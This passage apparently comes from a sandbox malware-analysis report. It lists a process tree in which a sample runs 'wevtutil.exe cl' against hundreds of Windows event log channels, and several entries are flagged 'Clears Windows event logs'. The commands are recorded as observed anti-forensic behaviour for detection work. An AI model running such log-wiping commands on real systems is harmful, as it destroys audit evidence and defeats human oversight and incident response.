    - Clears Windows event logs
    PID:15060
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider/Autopilot"
    3⤵
    PID:1832
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider/Debug"
    3⤵
    PID:7912
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider/Operational"
    3⤵
    PID:15280
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceSetupManager/Admin"
    3⤵
    PID:1228
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceSetupManager/Analytic"
    3⤵
    PID:21788
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceSetupManager/Debug"
    3⤵
    PID:21756
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceSetupManager/Operational"
    3⤵
    PID:21732
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceSync/Analytic"
    3⤵
    PID:16304
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceSync/Operational"
    3⤵
    PID:22164
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceUpdateAgent/Operational"
    3⤵
    PID:21820
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceUx/Informational"
    3⤵
    PID:22568
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceUx/Performance"
    3⤵
    PID:13564
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Devices-Background/Operational"
    3⤵
    PID:12152
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Devices-Query/Performance"
    3⤵
    PID:17688
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Dhcp-Client/Admin"
    3⤵
    PID:20068
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Dhcp-Client/Operational"
    3⤵
    PID:3484
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Dhcpv6-Client/Admin"
    3⤵
    PID:12388
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Dhcpv6-Client/Operational"
    3⤵
    PID:11512
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DiagCpl/Debug"
    3⤵
    PID:20516
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-AdvancedTaskManager/Analytic"
    3⤵
    PID:5856
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-DPS/Analytic"
    3⤵
    PID:14928
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-DPS/Debug"
    3⤵
    PID:4804
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-DPS/Operational"
    3⤵
    PID:20276
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-MSDE/Debug"
    3⤵
    PID:12612
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-PCW/Analytic"
    3⤵
    PID:7136
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-PCW/Debug"
    3⤵
    PID:11192
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-PCW/Operational"
    3⤵
    PID:12816
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-PLA/Debug"
    3⤵
    PID:12916
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-PLA/Operational"
    3⤵
    PID:11784
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-Scheduled/Operational"
    3⤵
    PID:14084
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-Scripted/Admin"
    3⤵
    PID:11404
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-Scripted/Analytic"
    3⤵
    PID:14176
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-Scripted/Debug"
    3⤵
    PID:14896
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-Scripted/Operational"
    3⤵
    PID:2444
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-ScriptedDiagnosticsProvider/Debug"
    3⤵
    PID:13268
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-ScriptedDiagnosticsProvider/Operational"
    3⤵
    PID:18240
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-WDC/Analytic"
    3⤵
    PID:16696
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-WDI/Debug"
    3⤵
    PID:2636
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnostics-Networking/Debug"
    3⤵
    PID:3420
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnostics-Networking/Operational"
    3⤵
    PID:2264
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnostics-PerfTrack/Diagnostic"
    3⤵
    PID:15104
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnostics-Performance/Diagnostic"
    3⤵
    PID:8096
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnostics-Performance/Diagnostic/Loopback"
    3⤵
    PID:4288
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnostics-Performance/Operational"
    3⤵
    PID:18112
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Direct3D10/Analytic"
    3⤵
    PID:14040
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Direct3D10_1/Analytic"
    3⤵
    PID:10228
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Direct3D11/Analytic"
    3⤵
    PID:7376
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Direct3D11/Logging"
    3⤵
    PID:12892
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Direct3D11/PerfTiming"
    3⤵
    PID:6712
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Direct3D12/Analytic"
    3⤵
    PID:17876
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Direct3D12/Logging"
    3⤵
    PID:15264
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Direct3D12/PerfTiming"
    3⤵
    PID:5032
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Direct3D9/Analytic"
    3⤵
    PID:20696
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Direct3DShaderCache/Default"
    3⤵
    PID:7704
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DirectComposition/Diagnostic"
    3⤵
    PID:9548
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DirectManipulation/Diagnostic"
    3⤵
    PID:5372
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DirectShow-KernelSupport/Performance"
    3⤵
    PID:14432
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DirectSound/Debug"
    3⤵
    PID:6368
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Disk/Operational"
    3⤵
    PID:22276
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DiskDiagnostic/Operational"
    3⤵
    PID:15352
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DiskDiagnosticDataCollector/Operational"
    3⤵
    PID:12140
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DiskDiagnosticResolver/Operational"
    3⤵
    PID:9720
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Dism-Api/Analytic"
    3⤵
    PID:12360
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Dism-Api/ExternalAnalytic"
    3⤵
    PID:2588
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Dism-Api/InternalAnalytic"
    3⤵
    PID:7180
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Dism-Cli/Analytic"
    3⤵
    - Clears Windows event logs
    PID:18984
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DisplayColorCalibration/Debug"
    3⤵
    PID:10536
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DisplayColorCalibration/Operational"
    3⤵
    PID:12860
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DisplaySwitch/Diagnostic"
    3⤵
    PID:7936
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Documents/Performance"
    3⤵
    PID:10764
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DriverFrameworks-UserMode/Operational"
    3⤵
    PID:15512
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DriverProxy/Operational"
    3⤵
    PID:9132
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DriverProxy/Performance"
    3⤵
    PID:14320
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Dwm-API/Diagnostic"
    3⤵
    PID:9736
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Dwm-Compositor/Diagnostic"
    3⤵
    PID:13784
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Dwm-Core/Diagnostic"
    3⤵
    PID:9852
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Dwm-Dwm/Diagnostic"
    3⤵
    PID:9408
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Dwm-Redir/Diagnostic"
    3⤵
    PID:16044
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Dwm-Udwm/Diagnostic"
    3⤵
    PID:3740
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DxgKrnl-Admin"
    3⤵
    PID:15004
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DxgKrnl-Operational"
    3⤵
    PID:8184
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DxgKrnl-SysMm/Debug"
    3⤵
    PID:13460
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DxgKrnl-SysMm/Performance"
    3⤵
    PID:3360
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DxgKrnl/Contention"
    3⤵
    PID:7988
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DxgKrnl/Diagnostic"
    3⤵
    PID:11548
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DxgKrnl/Performance"
    3⤵
    PID:17140
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DxgKrnl/Power"
    3⤵
    PID:16620
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DxpTaskSyncProvider/Analytic"
    3⤵
    PID:21512
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EDP-Application-Learning/Admin"
    3⤵
    PID:2060
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EDP-Audit-Regular/Admin"
    3⤵
    PID:13356
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EDP-Audit-TCB/Admin"
    3⤵
    PID:23328
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EFS/Debug"
    3⤵
    PID:17916
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EFS/Operational"
    3⤵
    PID:22356
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ESE/IODiagnose"
    3⤵
    PID:14888
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ESE/Operational"
    3⤵
    PID:5792
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EapHost/Analytic"
    3⤵
    PID:12444
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EapHost/Debug"
    3⤵
    PID:408
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EapHost/Operational"
    3⤵
    PID:8780
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EapMethods-RasChap/Operational"
    3⤵
    PID:18020
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EapMethods-RasTls/Operational"
    3⤵
    PID:19756
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EapMethods-Sim/Operational"
    3⤵
    PID:21368
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EapMethods-Ttls/Operational"
    3⤵
    PID:21312
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EaseOfAccess/Diagnostic"
    3⤵
    PID:8596
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Energy-Estimation-Engine/EventLog"
    3⤵
    PID:21152
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Energy-Estimation-Engine/Trace"
    3⤵
    PID:9404
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EnhancedStorage-EhStorClass/Operational"
    3⤵
    PID:3852
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EnhancedStorage-EhStorTcgDrv/Analytic"
    3⤵
    PID:23136
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EventCollector/Debug"
    3⤵
    PID:7712
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EventCollector/Operational"
    3⤵
    PID:5704
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EventLog-WMIProvider/Debug"
    3⤵
    PID:18572
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EventLog/Analytic"
    3⤵
    PID:3236
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EventLog/Debug"
    3⤵
    PID:14444
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FMS/Analytic"
    3⤵
    PID:21560
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FMS/Debug"
    3⤵
    PID:21592
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FMS/Operational"
    3⤵
    PID:22244
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FailoverClustering-Client/Diagnostic"
    3⤵
    PID:22320
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FailoverClustering-Client/Operational"
    3⤵
    PID:13616
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Fault-Tolerant-Heap/Operational"
    3⤵
    PID:15436
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FeatureConfiguration/Analytic"
    3⤵
    PID:22608
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FeatureConfiguration/Operational"
    3⤵
    PID:22692
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Feedback-Service-TriggerProvider"
    3⤵
    PID:19920
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FileHistory-Catalog/Analytic"
    3⤵
    PID:15924
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FileHistory-Catalog/Debug"
    3⤵
    PID:18712
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FileHistory-ConfigManager/Analytic"
    3⤵
    PID:4156
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FileHistory-ConfigManager/Debug"
    3⤵
    PID:21176
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FileHistory-Core/Analytic"
    3⤵
    PID:19852
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FileHistory-Core/Debug"
    3⤵
    PID:12504
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FileHistory-Core/WHC"
    3⤵
    PID:19408
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FileHistory-Engine/Analytic"
    3⤵
    PID:20012
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FileHistory-Engine/BackupLog"
    3⤵
    PID:7480
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FileHistory-Engine/Debug"
    3⤵
    PID:3692
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FileHistory-EventListener/Analytic"
    3⤵
    PID:13396
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FileHistory-EventListener/Debug"
    3⤵
    PID:9900
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FileHistory-Service/Analytic"
    3⤵
    PID:19100
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FileHistory-Service/Debug"
    3⤵
    PID:4284
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FileHistory-UI-Events/Analytic"
    3⤵
    PID:16028
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FileHistory-UI-Events/Debug"
    3⤵
    PID:6764
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FileInfoMinifilter/Operational"
    3⤵
    PID:17000
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Firewall-CPL/Diagnostic"
    3⤵
    PID:8036
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Folder Redirection/Operational"
    3⤵
    PID:22748
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Forwarding/Debug"
    3⤵
    PID:5000
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Forwarding/Operational"
    3⤵
    - Clears Windows event logs
    PID:3304
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-GPIO-ClassExtension/Analytic"
    3⤵
    PID:22884
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-GenericRoaming/Admin"
    3⤵
    PID:20376
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-GroupPolicy/Operational"
    3⤵
    PID:23144
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-HAL/Debug"
    3⤵
    PID:10808
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-HealthCenter/Debug"
    3⤵
    PID:23312
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-HealthCenter/Performance"
    3⤵
    PID:23500
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-HealthCenterCPL/Performance"
    3⤵
    PID:15368
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-HelloForBusiness/Debug"
    3⤵
    PID:16756
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-HelloForBusiness/Operational"
    3⤵
    PID:16100
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Help/Operational"
    3⤵
    PID:1184
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-HomeGroup Control Panel Performance/Diagnostic"
    3⤵
    PID:8932
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-HomeGroup Control Panel/Operational"
    3⤵
    PID:13348
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-HotspotAuth/Analytic"
    3⤵
    - Clears Windows event logs
    PID:17984
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-HotspotAuth/Operational"
    3⤵
    PID:18376
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-HttpService/Log"
    3⤵
    PID:18608
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-HttpService/Trace"
    3⤵
    PID:2524
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Hyper-V-Guest-Drivers/Admin"
    3⤵
    PID:20848
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Hyper-V-Guest-Drivers/Analytic"
    3⤵
    PID:20828
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Hyper-V-Guest-Drivers/Debug"
    3⤵
    PID:20520
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Hyper-V-Guest-Drivers/Diagnose"
    3⤵
    PID:20252
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Hyper-V-Guest-Drivers/Operational"
    3⤵
    PID:8968
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Hyper-V-Hypervisor-Admin"
    3⤵
    - Clears Windows event logs
    PID:18932
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Hyper-V-Hypervisor-Analytic"
    3⤵
    PID:19092
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Hyper-V-Hypervisor-Operational"
    3⤵
    PID:19308
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Hyper-V-KMCL-Child/Analytic"
    3⤵
    PID:13380
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Hyper-V-NETVSC/Diagnostic"
    3⤵
    PID:4236
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Hyper-V-VID-Admin"
    3⤵
    PID:14144
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Hyper-V-VID-Analytic"
    3⤵
    PID:20240
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IE-SmartScreen"
    3⤵
    PID:7808
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IKE/Operational"
    3⤵
    PID:19624
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IKEDBG/Debug"
    3⤵
    PID:5376
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IME-Broker/Analytic"
    3⤵
    PID:21440
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IME-CandidateUI/Analytic"
    3⤵
    PID:18956
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IME-CustomerFeedbackManager/Debug"
    3⤵
    PID:21096
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IME-CustomerFeedbackManagerUI/Analytic"
    3⤵
    PID:21204
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IME-JPAPI/Analytic"
    3⤵
    PID:21496
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IME-JPLMP/Analytic"
    3⤵
    PID:12452
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IME-JPPRED/Analytic"
    3⤵
    PID:9552
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IME-JPSetting/Analytic"
    3⤵
    - Clears Windows event logs
    PID:19292
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IME-JPTIP/Analytic"
    3⤵
    PID:20144
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IME-KRAPI/Analytic"
    3⤵
    PID:8240
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IME-KRTIP/Analytic"
    3⤵
    PID:13132
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IME-OEDCompiler/Analytic"
    3⤵
    PID:8328
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IME-TCCORE/Analytic"
    3⤵
    - Clears Windows event logs
    PID:15652
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IME-TCTIP/Analytic"
    3⤵
    - Clears Windows event logs
    PID:14148
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IME-TIP/Analytic"
    3⤵
    PID:7300
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IPNAT/Diagnostic"
    3⤵
    PID:9044
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IPSEC-SRV/Diagnostic"
    3⤵
    PID:11132
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IPxlatCfg/Debug"
    3⤵
    PID:1156
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IPxlatCfg/Operational"
    3⤵
    PID:8404
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IdCtrls/Analytic"
    3⤵
    PID:10428
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IdCtrls/Operational"
    3⤵
    PID:1108
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-IndirectDisplays-ClassExtension-Events/Diagnostic"
    3⤵
    PID:9292
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Input-HIDCLASS-Analytic"
    3⤵
    PID:2792
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-InputSwitch/Diagnostic"
    3⤵
    - Clears Windows event logs
    PID:19628
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-International-RegionalOptionsControlPanel/Operational"
    3⤵
    PID:11896
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Iphlpsvc/Debug"
    3⤵
    PID:15056
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Iphlpsvc/Operational"
    3⤵
    PID:12184
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Iphlpsvc/Trace"
    3⤵
    PID:18908
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-KdsSvc/Operational"
    3⤵
    PID:18680
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kerberos-Local-Key-Distribution-Center/Operational"
    3⤵
    PID:1144
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kerberos-Local-Key-Distribution-Center/Performance"
    3⤵
    PID:6756
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kerberos/Operational"
    3⤵
    PID:17256
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-Acpi/Diagnostic"
    3⤵
    PID:5396
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-AppCompat/General"
    3⤵
    PID:6044
- - C:\Windows\System32\wevtutil.exe
